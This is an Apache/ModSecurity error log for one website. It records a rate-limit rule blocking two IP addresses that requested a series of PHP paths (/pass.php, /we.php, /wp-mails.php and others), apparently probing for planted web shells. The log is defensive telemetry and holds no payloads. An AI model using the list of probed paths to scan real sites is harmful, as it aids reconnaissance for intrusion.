[Sat Feb 28 14:26:02.207986 2026] [:error] [pid 39184:tid 39230] [client 20.63.83.113:14633] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/link.php"] [unique_id "aaKKeltZF9Zd_U7easDr3QAAAEs"]
[Sat Feb 28 14:26:02.638726 2026] [:error] [pid 22194:tid 22207] [client 20.63.83.113:14571] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/link.php"] [unique_id "aaKKen6mbajs3bzQGytVqQAAAUs"]
[Sat Feb 28 14:26:03.055938 2026] [:error] [pid 39185:tid 39268] [client 20.63.83.113:50680] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/link.php"] [unique_id "aaKKexVE-FfM89u7BQYT4QAAAJY"]
[Sat Feb 28 14:26:03.486567 2026] [:error] [pid 39185:tid 39250] [client 20.63.83.113:14545] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/link.php"] [unique_id "aaKKexVE-FfM89u7BQYT5AAAAIQ"]
[Sat Feb 28 14:26:03.901466 2026] [:error] [pid 39185:tid 39262] [client 20.63.83.113:14627] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pass.php"] [unique_id "aaKKexVE-FfM89u7BQYT5wAAAJA"]
[Sat Feb 28 14:26:04.314304 2026] [:error] [pid 39185:tid 39270] [client 20.63.83.113:62855] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pass.php"] [unique_id "aaKKfBVE-FfM89u7BQYT6gAAAJg"]
[Sat Feb 28 14:26:04.752527 2026] [:error] [pid 39185:tid 39266] [client 20.63.83.113:62859] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pass.php"] [unique_id "aaKKfBVE-FfM89u7BQYUMgAAAJQ"]
[Sat Feb 28 14:26:05.165462 2026] [:error] [pid 39184:tid 39239] [client 20.63.83.113:13845] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pass.php"] [unique_id "aaKKfVtZF9Zd_U7easDr4gAAAFQ"]
[Sat Feb 28 14:26:05.577444 2026] [:error] [pid 39185:tid 39255] [client 20.63.83.113:14577] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/index.php"] [unique_id "aaKKfRVE-FfM89u7BQYUQgAAAIk"]
[Sat Feb 28 14:26:05.992652 2026] [:error] [pid 39292:tid 39296] [client 20.63.83.113:38115] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/index.php"] [unique_id "aaKKfaIAO5fN7BxyqcHspQAAAMI"]
[Sat Feb 28 14:26:06.408432 2026] [:error] [pid 39292:tid 39317] [client 20.63.83.113:57320] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/index.php"] [unique_id "aaKKfqIAO5fN7BxyqcHspgAAANc"]
[Sat Feb 28 14:26:06.820535 2026] [:error] [pid 39185:tid 39256] [client 20.63.83.113:13850] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/index.php"] [unique_id "aaKKfhVE-FfM89u7BQYUXgAAAIo"]
[Sat Feb 28 14:35:35.126730 2026] [proxy_fcgi:error] [pid 52460:tid 52483] [client 20.151.113.230:12249] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 14:35:35.339010 2026] [proxy_fcgi:error] [pid 52460:tid 52465] [client 20.151.113.230:12249] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 14:35:35.551685 2026] [proxy_fcgi:error] [pid 52460:tid 52466] [client 20.151.113.230:12249] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 14:35:35.762986 2026] [proxy_fcgi:error] [pid 52460:tid 52463] [client 20.151.113.230:12249] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 14:35:35.974999 2026] [proxy_fcgi:error] [pid 52460:tid 52468] [client 20.151.113.230:12249] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 14:35:36.186971 2026] [proxy_fcgi:error] [pid 52460:tid 52478] [client 20.151.113.230:12249] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 14:35:36.399151 2026] [proxy_fcgi:error] [pid 52460:tid 52464] [client 20.151.113.230:12249] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 14:35:36.610600 2026] [proxy_fcgi:error] [pid 52460:tid 52484] [client 20.151.113.230:12249] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 14:35:36.822522 2026] [proxy_fcgi:error] [pid 52460:tid 52475] [client 20.151.113.230:12249] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 14:35:37.034292 2026] [proxy_fcgi:error] [pid 52460:tid 52476] [client 20.151.113.230:12249] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 14:35:37.242378 2026] [:error] [pid 52460:tid 52474] [client 20.151.113.230:12249] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd67.php"] [unique_id "aaKMubLWOogAgHGh62RwKwAAAYs"]
[Sat Feb 28 14:35:37.661095 2026] [:error] [pid 52460:tid 52482] [client 20.151.113.230:12237] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd67.php"] [unique_id "aaKMubLWOogAgHGh62RwLAAAAZM"]
[Sat Feb 28 14:35:38.075361 2026] [:error] [pid 39292:tid 39302] [client 20.151.113.230:12271] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd67.php"] [unique_id "aaKMuqIAO5fN7BxyqcHvPAAAAMg"]
[Sat Feb 28 14:35:38.502875 2026] [:error] [pid 22194:tid 22219] [client 20.151.113.230:12280] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd67.php"] [unique_id "aaKMun6mbajs3bzQGytX_gAAAVc"]
[Sat Feb 28 14:35:38.928798 2026] [:error] [pid 52460:tid 52483] [client 20.151.113.230:12269] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aaKMurLWOogAgHGh62RwLwAAAZQ"]
[Sat Feb 28 14:35:39.343511 2026] [:error] [pid 39183:tid 39207] [client 20.151.113.230:12251] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aaKMuxCf4HvhVePw3Lb3zwAAAA8"]
[Sat Feb 28 14:35:39.756184 2026] [:error] [pid 39292:tid 39316] [client 20.151.113.230:12225] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aaKMu6IAO5fN7BxyqcHvPgAAANY"]
[Sat Feb 28 14:35:40.172369 2026] [:error] [pid 39183:tid 39202] [client 20.151.113.230:12264] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aaKMvBCf4HvhVePw3Lb30AAAAAo"]
[Sat Feb 28 14:35:40.586149 2026] [:error] [pid 39185:tid 39260] [client 20.151.113.230:12189] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aaKMvBVE-FfM89u7BQYdRwAAAI4"]
[Sat Feb 28 14:35:40.996663 2026] [:error] [pid 39183:tid 39206] [client 20.151.113.230:12232] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aaKMvBCf4HvhVePw3Lb30QAAAA4"]
[Sat Feb 28 14:35:41.413566 2026] [:error] [pid 39183:tid 39199] [client 20.151.113.230:12233] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aaKMvRCf4HvhVePw3Lb30gAAAAc"]
[Sat Feb 28 14:35:41.839931 2026] [:error] [pid 39185:tid 39263] [client 20.151.113.230:12178] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aaKMvRVE-FfM89u7BQYdSwAAAJE"]
[Sat Feb 28 14:35:42.267061 2026] [:error] [pid 39185:tid 39252] [client 20.151.113.230:12245] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/000.php"] [unique_id "aaKMvhVE-FfM89u7BQYdTAAAAIY"]
[Sat Feb 28 14:35:42.692079 2026] [:error] [pid 52460:tid 52478] [client 20.151.113.230:12166] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/000.php"] [unique_id "aaKMvrLWOogAgHGh62RwNgAAAY8"]
[Sat Feb 28 14:35:43.106980 2026] [:error] [pid 11791:tid 11814] [client 20.151.113.230:12260] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/000.php"] [unique_id "aaKMv2uX5e1Q32gqxH1IOgAAARU"]
[Sat Feb 28 14:35:43.535951 2026] [:error] [pid 39185:tid 39254] [client 20.151.113.230:12256] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/000.php"] [unique_id "aaKMvxVE-FfM89u7BQYdUQAAAIg"]
[Sat Feb 28 14:35:43.951902 2026] [:error] [pid 52460:tid 52473] [client 20.151.113.230:12170] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mails.php"] [unique_id "aaKMv7LWOogAgHGh62RwOQAAAYo"]
[Sat Feb 28 14:35:44.365712 2026] [:error] [pid 39185:tid 39269] [client 20.151.113.230:12281] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mails.php"] [unique_id "aaKMwBVE-FfM89u7BQYdWAAAAJc"]
[Sat Feb 28 14:35:44.782611 2026] [:error] [pid 39292:tid 39305] [client 20.151.113.230:12243] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mails.php"] [unique_id "aaKMwKIAO5fN7BxyqcHvQQAAAMs"]
[Sat Feb 28 14:35:45.205742 2026] [:error] [pid 39185:tid 39257] [client 20.151.113.230:12268] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mails.php"] [unique_id "aaKMwRVE-FfM89u7BQYdXgAAAIs"]
[Sat Feb 28 14:35:45.618055 2026] [:error] [pid 52460:tid 52475] [client 20.151.113.230:12236] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xex.php"] [unique_id "aaKMwbLWOogAgHGh62RwOwAAAYw"]
[Sat Feb 28 14:35:46.031473 2026] [:error] [pid 39185:tid 39255] [client 20.151.113.230:12177] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xex.php"] [unique_id "aaKMwhVE-FfM89u7BQYdZgAAAIk"]
[Sat Feb 28 14:35:46.449185 2026] [:error] [pid 39185:tid 39265] [client 20.151.113.230:12241] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xex.php"] [unique_id "aaKMwhVE-FfM89u7BQYdaQAAAJM"]
[Sat Feb 28 14:35:46.869947 2026] [:error] [pid 39185:tid 39257] [client 20.151.113.230:12196] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xex.php"] [unique_id "aaKMwhVE-FfM89u7BQYdbgAAAIs"]
[Sat Feb 28 14:35:47.288327 2026] [:error] [pid 39292:tid 39312] [client 20.151.113.230:12229] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/n3.php"] [unique_id "aaKMw6IAO5fN7BxyqcHvRQAAANI"]
[Sat Feb 28 14:35:47.709129 2026] [:error] [pid 39185:tid 39261] [client 20.151.113.230:12258] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/n3.php"] [unique_id "aaKMwxVE-FfM89u7BQYdcAAAAI8"]
[Sat Feb 28 14:35:48.122304 2026] [:error] [pid 39292:tid 39304] [client 20.151.113.230:12230] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/n3.php"] [unique_id "aaKMxKIAO5fN7BxyqcHvRgAAAMo"]
[Sat Feb 28 14:35:48.534023 2026] [:error] [pid 39185:tid 39257] [client 20.151.113.230:12104] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/n3.php"] [unique_id "aaKMxBVE-FfM89u7BQYdeQAAAIs"]
[Sat Feb 28 14:35:48.952793 2026] [:error] [pid 52460:tid 52486] [client 20.151.113.230:12167] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/key.php"] [unique_id "aaKMxLLWOogAgHGh62RwPgAAAZc"]
[Sat Feb 28 14:35:49.367184 2026] [:error] [pid 52460:tid 52482] [client 20.151.113.230:12283] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/key.php"] [unique_id "aaKMxbLWOogAgHGh62RwPwAAAZM"]
[Sat Feb 28 14:35:49.777712 2026] [:error] [pid 39185:tid 39249] [client 20.151.113.230:12185] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/key.php"] [unique_id "aaKMxRVE-FfM89u7BQYdgwAAAIM"]
[Sat Feb 28 14:35:50.192366 2026] [:error] [pid 39185:tid 39270] [client 20.151.113.230:12195] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/key.php"] [unique_id "aaKMxhVE-FfM89u7BQYdhQAAAJg"]
[Sat Feb 28 14:35:50.607179 2026] [:error] [pid 39185:tid 39268] [client 20.151.113.230:12180] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/667.php"] [unique_id "aaKMxhVE-FfM89u7BQYdiQAAAJY"]
[Sat Feb 28 14:35:51.015287 2026] [:error] [pid 22194:tid 22216] [client 20.151.113.230:12164] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/667.php"] [unique_id "aaKMx36mbajs3bzQGytYBgAAAVQ"]
[Sat Feb 28 14:35:51.431610 2026] [:error] [pid 39185:tid 39259] [client 20.151.113.230:12282] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/667.php"] [unique_id "aaKMxxVE-FfM89u7BQYdigAAAI0"]
[Sat Feb 28 14:35:51.854608 2026] [:error] [pid 39185:tid 39253] [client 20.151.113.230:12192] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/667.php"] [unique_id "aaKMxxVE-FfM89u7BQYdkgAAAIc"]
[Sat Feb 28 14:35:52.264658 2026] [:error] [pid 39292:tid 39302] [client 20.151.113.230:12165] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ctfbe.php"] [unique_id "aaKMyKIAO5fN7BxyqcHvUgAAAMg"]
[Sat Feb 28 14:35:52.678159 2026] [:error] [pid 39185:tid 39268] [client 20.151.113.230:12287] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ctfbe.php"] [unique_id "aaKMyBVE-FfM89u7BQYeAQAAAJY"]
[Sat Feb 28 14:35:53.093401 2026] [:error] [pid 39184:tid 39242] [client 20.151.113.230:12161] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ctfbe.php"] [unique_id "aaKMyVtZF9Zd_U7easDt2AAAAFc"]
[Sat Feb 28 14:35:53.507336 2026] [:error] [pid 11791:tid 11804] [client 20.151.113.230:12276] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ctfbe.php"] [unique_id "aaKMyWuX5e1Q32gqxH1IQwAAAQs"]
[Sat Feb 28 14:35:53.919930 2026] [:error] [pid 11791:tid 11801] [client 20.151.113.230:12209] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hkweu.php"] [unique_id "aaKMyWuX5e1Q32gqxH1IRAAAAQg"]
